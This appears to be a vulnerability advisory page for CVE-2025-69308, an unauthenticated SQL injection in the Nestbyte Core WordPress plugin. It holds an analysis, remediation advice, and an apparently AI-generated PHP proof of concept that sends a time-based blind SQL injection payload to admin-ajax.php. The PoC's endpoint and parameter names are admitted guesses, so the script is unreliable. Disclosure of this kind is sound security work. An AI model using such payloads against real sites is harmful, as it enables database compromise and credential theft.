Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2025-69308: Nestbyte Core <= 1.2 – Unauthenticated SQL Injection (nestbyte-core)

Plugin nestbyte-core
Severity High (CVSS 7.5)
CWE 89
Vulnerable Version 1.2
Patched Version
Disclosed January 27, 2026

Analysis Overview

Atomic Edge analysis of CVE-2025-69308 (metadata-based):
This vulnerability is an unauthenticated SQL injection in the Nestbyte Core WordPress plugin version 1.2 and earlier. The flaw allows attackers to inject arbitrary SQL commands via a user-supplied parameter, leading to sensitive database information disclosure. The CVSS score of 7.5 (High) reflects its network-accessible attack vector, low attack complexity, and high confidentiality impact.

Atomic Edge research identifies the root cause as improper neutralization of special elements in SQL commands (CWE-89). The vulnerability description explicitly states insufficient escaping on user-supplied parameters and lack of sufficient preparation on existing SQL queries. This indicates the plugin likely constructs SQL queries by directly concatenating unsanitized user input without using WordPress’s $wpdb->prepare() method or proper parameterized statements. These conclusions are inferred from the CWE classification and vulnerability description, as source code is unavailable for confirmation.

Exploitation occurs through unauthenticated HTTP requests to WordPress endpoints that process the vulnerable parameter. Based on WordPress plugin patterns, the attack vector is likely an AJAX handler (wp-admin/admin-ajax.php) or a REST API endpoint that accepts user input. Attackers would send crafted payloads containing SQL injection characters like single quotes, comment sequences, or UNION SELECT statements. A typical payload might append a UNION SELECT query to extract user credentials from the wp_users table.

Remediation requires implementing proper input validation and parameterized queries. The plugin should use WordPress’s $wpdb->prepare() method for all SQL queries incorporating user input. Input validation should include type checking, length limits, and allowlisting acceptable characters. The fix must also ensure proper capability checks exist for any administrative database operations. These recommendations follow WordPress security best practices for SQL injection prevention.

Successful exploitation enables complete database compromise. Attackers can extract sensitive information including WordPress user credentials (hashed passwords), personally identifiable information, plugin-specific data, and site configuration details. This data exposure can lead to subsequent attacks like password cracking, privilege escalation, or site takeover. The vulnerability does not directly enable remote code execution or integrity/availability impacts according to the CVSS vector.

Differential between vulnerable and patched code

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2025-69308 - Nestbyte Core <= 1.2 - Unauthenticated SQL Injection
<?php
/**
 * Proof of Concept for CVE-2025-69308
 * Assumptions based on WordPress plugin patterns:
 * 1. Vulnerability exists in an AJAX handler or REST endpoint
 * 2. The 'action' parameter likely contains 'nestbyte_core' or similar
 * 3. A user-controlled parameter is vulnerable to SQL injection
 * 4. No authentication or nonce verification is required
 */

$target_url = "http://target-site.com/wp-admin/admin-ajax.php"; // Common WordPress AJAX endpoint

// Craft SQL injection payload to extract database version
// Using time-based blind SQL injection technique for safety
$payload = "' OR IF(SUBSTRING(@@version,1,1)='5',SLEEP(5),0) OR '";

// Build POST data - assuming 'action' parameter triggers vulnerable code
// and 'vulnerable_param' is the injectable parameter name
$post_data = array(
    'action' => 'nestbyte_core_action', // Inferred from plugin slug
    'vulnerable_param' => $payload,     // Parameter name inferred from description
    'other_param' => 'legitimate_value' // Additional parameter for realism
);

// Initialize cURL
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_TIMEOUT, 10); // Extended timeout for time-based detection

// Execute request and measure response time
$start_time = microtime(true);
$response = curl_exec($ch);
$end_time = microtime(true);
$elapsed = $end_time - $start_time;

// Check for time delay indicating successful injection
if ($elapsed >= 5) {
    echo "[+] SQL Injection successful! Response delayed by " . round($elapsed, 2) . " seconds.n";
    echo "[+] The target appears vulnerable to CVE-2025-69308.n";
} else {
    echo "[-] No time delay detected. Target may not be vulnerable or payload needs adjustment.n";
    echo "[-] Response time: " . round($elapsed, 2) . " seconds.n";
}

curl_close($ch);
?>

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